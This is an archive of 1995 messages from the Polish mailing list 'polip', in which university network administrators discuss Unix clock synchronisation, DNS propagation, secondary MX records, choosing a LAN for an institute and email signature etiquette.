jakiejs maszyny > u mnie na uczelni, i reszta z jeszcze jakiejs innej- wszystkie mialy > bezsensowne daty..... > > : rozwiazac (bo nie jest to chyba trudne)... Tylko zeby znalezc w Polsce > : jakis server czasu... > a ten kolo poznania, moze jest cos takiego centralniej ?? > > Marcin;) > ------------------------------------------------------------------------------ > Marcin Klimowski | e-mail - marcin@oeto.pk.edu.pl | IRCNICK - Cinek > WWW home page - http://www.pk.edu.pl/~marcin - still under construction...... > ------------------------------------------------------------------------------ Zagadnienie synchronizacji czasu uwazam za bardzo istotne. Argumenty jakie przemawiaja za tym aby czas synchronizowac zostaly juz przytoczone: poczta newsy, NFS, make, operacje czsowo-zalezne, mozliwosc sledzenia "wlamywaczy". Problem powinien znalezc swoje miejsce w LAP. Chcialbym zwrocic uwage, ze jest to problem, ktory mozna zalatwic stosunkowo szybko. Nie wymaga bowiem srodkow finansowych, oraz innych - wystarczy dobra koordynacja dzialan i organizacja. Problem szybkosci laczy (ktos o tym wspominal) nie jest chyba tak na prawde problemem. Nie chodzi bowiem o zsynchronizowanie zegarow co do ulamka sekundy. Dokladnosc rzedu kilku sekund jest zadawalajaca. Zwyczajnie chodzi o to, aby nie zdarzaly sie sytuacje przytoczone chocby przez pana Marcina powyzej. Jesli zas przyjac hierarchie drzewiasta to mozna zalozyc, ze serwery mniej oddalone od siebie (niekoniecznie fizycznie) beda mialy czas zsynchronizowany lepiej. I tu pytanie do fachowcow: Jaki model jest lepszy? Centralny timeserver i wszyscy z nim synchronizuja, czy drzewo: serwer centralny, serwery uczelniane, serwery w instytutach, katedrach (lokalne). Mnie sie osobiscie ten drugi wydaje lepszy. Grzegorz -- Grzegorz Krawczyk krawczyk@kme.agh.edu.pl University of Mining and Metallurgy Chair of Electrical Machines From krawczyk@kme.agh.edu.pl Tue Jan 17 16:59:48 1995 Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA19279; Tue, 17 Jan 95 16:58:11 +0100 Return-Path: Received: by kme.agh.edu.pl (4.1/SMI-4.1) id AA04323; Tue, 17 Jan 95 16:55:33 +0100 From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk) Organization: University of Mining and Metallurgy Address: Mickiewicza 30, 30-059 Krakow, POLAND Message-Id: <9501171555.AA04323@kme.agh.edu.pl> Subject: Re: Ustawianie czasu To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 16:55:32 +0100 (MET) In-Reply-To: <199501171505.PAA06781@hebe.umcs.lublin.pl> from "Krzysztof Mlynarski" at Jan 17, 95 04:47:09 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 789 Krzysztof Mlynarski pisze: > > W naglowkach newsow podawany jest czas GMT, po to wlasnie zeby bylo > > wiadomo KIEDY zostalo napisane i dotyczy to nawet tych z USA > > Wlasnie... i aby z tego w pelni korzystac wszyscy musieliby pisac na > Polip'a via newsy. Wielu jednak ludzi pisze korzystajac z e-mail'a (jako > i ja teraz czynie ;-)). Tak wiec tak czy tak, trzeba bedzie rozwiazac > problem konwersji czasow. Na czym polega problem kowersji czasow? Zawsze wydawalo mi sie, ze jesli hosty maja poprawnie ustawina strefe czsowa to ten problem nie istnieje. Moze sie jednak myle. Grzegorz > > Pozdrawiam, > -Krzysio -- Grzegorz Krawczyk krawczyk@kme.agh.edu.pl University of Mining and Metallurgy Chair of Electrical Machines From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 17:04:48 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA19641; Tue, 17 Jan 95 17:03:44 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA14002 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 17:00:17 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 15:59:56 GMT From: tsurmacz@asic.ict.pwr.wroc.pl (Tomasz Surmacz) Message-Id: <3fgphs$cre@cyber.ict.pwr.wroc.pl> Organization: Technical University of Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3f6o8t$jjd@sun1000.ci.pwr.wroc.pl>, <3f87sn$6bk@galaxy.uci.agh.edu.pl> Subject: Re: Regulowanie czasu Szymon Sokol (szymon@uci.agh.edu.pl) wrote: | S. Pawlowicz (ser@sun1000.ci.pwr.wroc.pl) wrote: | : Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych? | Wg hejnalu z Wiezy Mariackiej :-) | Czy naprawde jest sens ustawiac zegar systemowy z dokladnoscia do sekund, | jesli "drift" na moim Sunie wynosi nawet do 20s dziennie? Kiepski Sun powiedzialbym... (gdybym sie nie domyslal, ze chodzi o galaxy i ew. inne w okolicy :-) U mnie jeden Sun pozi sie ok 1 sekunde na dobe, drugi - spieszy ok. 5 sekund na miesiac. W zwiazku z czym na wiekszosci komputerow w okolicy (Suny i Linuxy) w crontabie jest linijka: 0 0 * * * /usr/sbin/rdate cyber doregulowujaca lokalne zegarki do tego jednego, uznawanego za najdokladniejszy. Jak dla mnie, nie jest wazne czy cyber sie spieszy czy pozni 2-3 minuty wzgledem czasu 'oficjalnego', ale BARDZO WAZNE jest, by lokalnie chodzace komputery mialy czas rozniacy sie nie wiecej jak o 1-2 sekundy, SZCZEGOLNIE jesli maja popodlaczane nawzajem dyski przez NFS. No bo a nuz ktos bedzie poprawial plik *.c na jednym komputerze, a na drugim wykona 'make'? Jesli zegarki sie roznia o czas dluzszy niz czas miedzy dwoma 'make' (tzn. make, poprawki, make), to sa spore szanse na komunikat 'make: Nothing to do for target blahblahblah'. To tylko jeden przyklad... Inne mozna by mnozyc. -- _________ (_ _' __) Tomasz Surmacz * ------------- * tsurmacz@asic.ict.pwr.wroc.pl | (__ \ Institute of Technical Cybernetics, * tsurmacz@ict.pwr.wroc.pl |__(____/ Technical University of Wroclaw, Poland * ----- * irc: TomekS From krawczyk@kme.agh.edu.pl Tue Jan 17 17:19:48 1995 Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA20367; Tue, 17 Jan 95 17:16:06 +0100 Return-Path: Received: by kme.agh.edu.pl (4.1/SMI-4.1) id AA04342; Tue, 17 Jan 95 17:13:22 +0100 From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk) Organization: University of Mining and Metallurgy Address: Mickiewicza 30, 30-059 Krakow, POLAND Message-Id: <9501171613.AA04342@kme.agh.edu.pl> Subject: Re: Palac Staszica - jaka siec lokalna wybrac? To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 17:13:21 +0100 (MET) In-Reply-To: <118C6E3349@inf.wsp.krakow.pl> from "Jaroslaw Rafa" at Jan 17, 95 04:20:49 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1969 Jaroslaw Rafa pisze: > > > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze > > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego > > do pogodzenia z jakimkolwiek oprogramowaniem. > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > Bede wdzieczny za wszelkie rady. > > > ???????????? Podzielam zdziwienie. Acz musze przyznac, ze jeszcze do niedawna bylem sceptycznie nastawiony do tego systemu. Jednak zrozumialem juz, ze w wiekszosci przypadkow alternatywy brak :-) > Poczta internetowa przepieknie chodzi na Novellu, oprogramowanie od strony > end usera jest niezwykle przyjazne (oczywiscie, troche trudniej z instalacja, > ale mysle ze zawsze mozna znalezc kogos kto to zrobi) i do tego freeware. > Nie rozumiem tego kogos co ci odradzal Novella. Moze jemu samemu sie nie > udalo, albo po prostu nie wiedzial o odpowiednim oprogramowaniu... OK. Wszystko gra, tylko czy funkcje wymienione powyzej sa jedynymi ktore beda wykorzystywane? Ja pytanie zrozumialem nieco szerzej. Glownie chodzi zapewne o mozliwosc gromadzenia, porzadkowania i wyszukiwania danych - czyli jednym slowem *baza danych* (i tu bym sie juz zastanawial czy novell+dos+windows, czy moze cos inego, np UNIX), przetwarzania tekstow, a pewnie i inne funkcje zwiazane z funkcjonowaniem instytutu. Rozwiazaniem jest ethernet w warstwie fizycznej novell jako sieciowy system operacyjny, a w przyszlosci jesli zajdzie taka potrzeba inny system o ktory by mozna oprzec baze danych. > U nas na Novellu chodzi poczta, ftp serwer i cala masa "client software" na > koncowkach: telnet, ftp, gopher, news, irc, talk, finger, Lynx, Mosaic i co > tylko kto chce... Nie ma zadnych problemow. > Pozdrowienia, > Jaroslaw Rafa > sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl > Grzegorz -- Grzegorz Krawczyk krawczyk@kme.agh.edu.pl University of Mining and Metallurgy Chair of Electrical Machines From muhlig@usctoux1.cto.us.edu.pl Tue Jan 17 17:29:49 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA21434; Tue, 17 Jan 95 17:28:53 +0100 Return-Path: Subject: jak to jest z tym naszym DNS? To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 17:31:30 -0100 (MET) From: Maciek Uhlig X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 789 Message-Id: <9501171731.aa17120@usctoux1.cto.us.edu.pl> Ano tak: wczoraj dodalem do DNS nowa maszyne. Dzis niekoniecznie ja wszedzie widac. Sprawdzam. Od root servera. Podaje w kolejnosci: bilbo, cocos, sunet. Sprawdzam. W bilbo - nie widac. W cocos - nie widac. W sunet - o dziwo - widac. Szwedzi predzej wiedza, co ja tu wyprawiam, niz warszawiacy. Zeby nas znow jaki potop nie zalal. Bo mnie juz zalewa, ale nie woda... :-) Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:04:51 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA23204; Tue, 17 Jan 95 18:03:44 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA14871 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 17:47:05 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 11:41:33 -0500 From: zbig@junior.wariat.org (Zbigniew J. Tyrlik) Message-Id: <3fgrvt$q77@junior.wariat.org> Organization: Akademia Pana Kleksa, Public Access Uni* Site Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501171549.AA04288@kme.agh.edu.pl> Subject: Re: Ustawianie czasu In <9501171549.AA04288@kme.agh.edu.pl> krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk) writes: >Jesli zas przyjac hierarchie drzewiasta to mozna zalozyc, ze serwery >mniej oddalone od siebie (niekoniecznie fizycznie) beda mialy czas >zsynchronizowany lepiej. I tu pytanie do fachowcow: >Jaki model jest lepszy? Centralny timeserver i wszyscy z nim >synchronizuja, czy drzewo: serwer centralny, serwery uczelniane, >serwery w instytutach, katedrach (lokalne). Mnie sie osobiscie >ten drugi wydaje lepszy. bardzo dobra dyskusja tego zagadnienia jest w dokumentach zalaczonych do dystrybucji ntp/xntp, wlacznie z RFC. To co jest polecane to synchronizacja sieci lokalnej do kilku niezaleznych serverow zewnetrznych, i nastepnie usrednianie sieci lokalnej. W ten sposob mozna korygowac zarowno odchylenia spowodowane poprzez pojedynczy server i poprzez wolne lacza.... >Grzegorz _zjt -- Zbigniew J. Tyrlik DoD# 0759 FJ1200 `89-Silver... zbig@wariat.org APK on the move New Phone - 216-241-7541 active Jan 09.95 Feeds, shell, FTP, telnet, SL/IP,PPP Uniboard distribution point From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:24:50 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA24381; Tue, 17 Jan 95 18:23:40 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15334 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:44 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 16:42:44 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fgs24$6d5@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: Subject: Re: Ustawianie czasu - nie na temat Kerrrrrik (KERIK@novci2.ae.poz.edu.pl) wrote: : Ja jestem wygodny - kont mam kilka a poczte tylko na jednym.. Slyszales kiedys o pliku ~/.forward ? -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:24:56 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA24387; Tue, 17 Jan 95 18:23:44 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15332 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:43 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 16:40:08 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fgrt8$6d5@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501152353.AA00802@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu - nie na temat Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : PS. : To chyba naprawde nie jest temat tej listy... :) Ale moze sie nim stac. <10 kb signature deleted> -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:00 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA24391; Tue, 17 Jan 95 18:23:47 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15337 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:44 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 16:51:17 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fgsi5$6d5@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501151839.AA00044@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : Hmmm... bardzo cool, tylko czy w *.pl jest choc jeden system w sieci : korzystajacy z powyzszych??? (Ma sie rozumiec z wyjatkiem punktu: : "2) zeby uniknac potem szoku ze poczta doszla przed wyslaniem.." Ja mysle, ze ciekawe bylo by pytanie czy w *.pl jest jakis dobry wzorzec czasu... -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:06 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA24394; Tue, 17 Jan 95 18:23:50 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15335 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:44 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 16:45:38 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fgs7i$6d5@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3fe0cf$i5q@Waldemar.mat.uni.torun.pl>, <3feenm$t3n@Waldemar.mat.uni.torun.pl> Subject: Re: to MX or not to MX i jak? Rafal Maszkowski (rzm@dain.oso.chalmers.se) wrote: : Co sadzicie o definiowaniu drugiego i nastepnych MXow dla jakiejs : domeny? Czy jest w ogole sens je dawac (spotkalem sie z opinia, ze nie), : a jezeli tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi? : sunic-owi? Ja mysle, ze warto tylko wtedy jesli naszemu komputerowi (domenie) zdarza sie byc nieobecnym w sieci na tyle dlugo, ze niektore inne komputery mogly by zwrocic list, ktory mial by do niego dotrzec. Inna sprawa, ze administratorzy tych hostow, ktore wybierzemy jako swojego MX-a maja maly wplyw na to kto ich sobie wpisze jako MXa. Dlatego mysle, ze jesli mamy zamiar zrobic MX-a na swoja domene na jakiegos tam hosta gdzies daleko w sieci, to chyba bylo by przyzwoicie zapytac tamtejszego administratora co o tym mysli. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:13 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA24399; Tue, 17 Jan 95 18:23:54 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15331 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:41 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 16:38:13 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fgrpl$6d5@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501162124.AA23126@zsku.p.lodz.pl> Subject: Re: Palac Staszica - jaka siec lokalna wybrac? WIENCH@plearn.edu.pl wrote: : Dyrekcja mojego Instytutu zamierza zalozyc siec lokalna w Palacu Staszica : (to jest to, co widac na starych 50.000 zl). Siec ma sluzyc : Instytutowi Filozofii i Socjologii, ale byc moze takze Instytutowi : Badan Literackich i innym. Lacznie moze to byc ok 100 komputerow : (wszystko klony IBMa, 286, 386, pare 486 z DOSem, kilka z Windowsami. : Przy tym byc moze IBL udostepni swojego SUNa sparcstation 5. Ciekawe po co facetom (i paniom) od opowiadania co poeta mial na mysli SPARC Station 5??? : Pytanie jest takie: jaka siec bylaby najodpowiedniejsza w tych warunkach? : Dodam, ze cala zaloga jest czysto humanistyczna, na widok komputera : czesc dostaje drgawek, wiec chodzi o rozwiazania przyjazne uzytkownikom. Ja mysle, ze na poczatek zatrudnic kogos kompetentnego. Tenze powinien tak to wszystko ustawic, zeby w/w spece od mowienia co poeta itd. nie musieli sie o nic martwic. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:18 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA24404; Tue, 17 Jan 95 18:23:57 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15333 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:43 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 16:42:01 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fgs0p$6d5@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501152332.AA16385@highresnmr.biophys.upenn.edu>, <3fd9t6$78l@Waldemar.mat.uni.torun.pl> Subject: Re: Ustawianie czasu - nie na temat Rafal Maszkowski (rzm@dain.erlm.siemens.de) wrote: : Krzysztof Wroblewski (chris@highresnmr.biophys.upenn.edu) wrote: : > >>Niezla kolekcja - jestem pod wrazeniem ;-) : > >ale i tak nie jest pelna ;) : > > -Krzysio : > A czy nie mozesz sobie wybrac poprostu jednego adresu do korespondencji : > (zwlaszcza jesli masz kilka accounts na jednym komputerze) i zwyczajnie : > nie zasmiecac listy zbednymi informacjami? : Taki sig niesie bardzo wiele pozytecznych informacji. Jeden rzut oka : (no moze dwa, bo czasem sie nie zmiesci na stronie) i mozna sie wiele : domyslec o wlascicielu. Niezwykle trafne spostrzezenie. Dlatego wlasnie nalezy pozwolic kazdemu miec takiego sig'a, jakiego chce. W ten sposob w kazdym liscie kazdy podpisujac sie nim nie tylko informuje nas o adresie e-mailowym (w tym przypadku potencjalny nadawca e-maila moze miec problemy z wyborem) ale co-nieco o sobie. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:22 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA24409; Tue, 17 Jan 95 18:24:00 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15330 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:41 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 16:35:22 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fgrka$6d5@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501160811.aa19328@usctoux1.cto.us.edu.pl> Subject: Re: sygnatura Krzysia Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote: : Krzysztof Mlynarski wrote: : > > A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo, : > : > PS. : > To chyba naprawde nie jest temat tej listy... :) : A jest, jest... Bo nie o to chodzi, aby odciac sobie automatycznie sig. : Chodzi o to, ze etykieta sieciowa mowi, iz sig powinien miec maksimum : 4 linie (moj ma 5, ale przezyjemy to do czasu, gdy bede mial okazje : skrocic). Proponuje obciac to wyjatkowo naiwne haslo z Lenona. (LAME> ***** Imagine all the people sharing all the world (John Lennon) ***** ) (I teraz sie nie pien, ze Twoje haslo, a nie moje, i ze nie powinienem sie czepiac Twojego siga i tak dalej, bo skoro sam zaczales czepianie sie sigow, wiec powinienes innym pozwalac na czepianie sie swojego sig'a. To, ze ktos koniecznie chce szpanowac i pokazac ile to on kont nie ma i na ilu to maszynach nie zna hasla root'a to swiadczy sam o sobie i nie uprawnia do dyktowania mu co pisze. Jego sprawa.) -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:25 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA24414; Tue, 17 Jan 95 18:24:03 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15338 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:44 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 16:56:56 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fgsso$6d5@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501171255.MAA06080@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : > Jarka (<1A3767634D@inf.wsp.krakow.pl>) ma date '16 Jan 95 17:15:15 : > GMT'? Czyzby ktos nie zmienil czasu letniego na zimowy? Grrrrrr.... : Tiaa... a do tego jeszcze to GMT.... Mi sie zawsze wydawalo, ze u nas to : jest MET..., ale moze ja za lame jestem? :) Jak by na napisal UTC (a to z dobra dokladnoscia to samo) to by bylo jasne. UTC bowiem obowiazuje WSZEDZIE. : > Moze by tak synchronizacje czasu w Polsce dolaczyc do 'listy : > aktualnych problemow' Macka i na dodatek ten problem z marszu : > rozwiazac (bo nie jest to chyba trudne)... Tylko zeby znalezc w Polsce : > jakis server czasu... : > : Ktos pisal o taki serverze dla Poznania. Sek w tym, ze niektore lacza w : Polsce sa nadal b. wolne i niestety przydaly by sie lokalne servery w : roznych czesciach Kraju. Oprocz tego nadal pozostaje problem : zobligowania administratorow kolejnych maszyn do prawidlowego : skonfigurowania strefy czasowej oraz zainteresowania sie wogole samym : tematem daty i czasu systemowego. Ja mysle, ze jakby ktos z zaawansowanych uczestnikow listy byl laskaw napisac stosowny FAQ, a nastepnie wylozyc go pod WWW (lub inaczej) - to by bylo wiecej takich, co to zrobia. Ja wiem, ze kazdy moze zrobic sobie research na wlasna reke i tak dalej, ale lepiej jak ktos juz raz wlozyl ta prace, to zeby inni (hehehe) skorzystali. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:32 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA24420; Tue, 17 Jan 95 18:24:07 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15336 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:43 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 16:49:37 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fgsf1$6d5@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: Subject: Re: to MX or not to MX i jak? Piotr Wilk (piotrwi@zsku.p.lodz.pl) wrote: : - lista dyskusyjna wysyla poczte do komputera przez MX. Komputer jest : down. Poczta idzie do MX'a i tam czeka. Jezeli ruch na liscie jest duzy, : a komputer jest down duzo dluzej niz trzy dni to postmaster na serwerze : listy odbierze sobie niedostarczone listy z przynajmniej trzech dni. W : swojej kolejce na pewno stojace listy zauwazylby wczesniej. Poza tym ma : mozliwosc ich wywalenia z kolejki. : - przypadek wysylania pilnej poczty. Uzytkownik wysyla piny list. Robi : sobie mailq. Kolejka pusta. List poszedl. OK ? Nie!!! Po trzech dniach : lub dluzej list do niego wraca z MX'a. Gdyby MX'a nie bylo, po godzinie : sprobowalby 'konwencjonalnej' lacznosci. Pytanie brzmi tak - czy chcemy, zeby listy raczej dochodzily do adrestow (niechby i z opoznieniem), czy tez aby w przypadku najmniejszej awarii sieci po drodze byly gubione? : Jeszcze jedno: : wydaje mi sie, ze gdzies czytalem (sam bym tego nie wymyslil), ze zaleta : Internetu jest to, ze komunikacja (powiedzmy w warstwie TCP) nastepuje : tylko miedzy komputerami, ktore biara udzial w transmisji. Ja mysle, ze zaleta jest to, ze mozna i tak i tak, a wiec latwiej jest sie dopasowac do konkretnej sytuacji. Komputer (domena), ktory stoi za kiepskim laczem (albo laczem czynnym okresowo np. SLIP lub PPP dial-up) musi miec MX. Duzy host pocztowy zapiety niemal wprost na siec szkieletowa WAN nie musi. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I 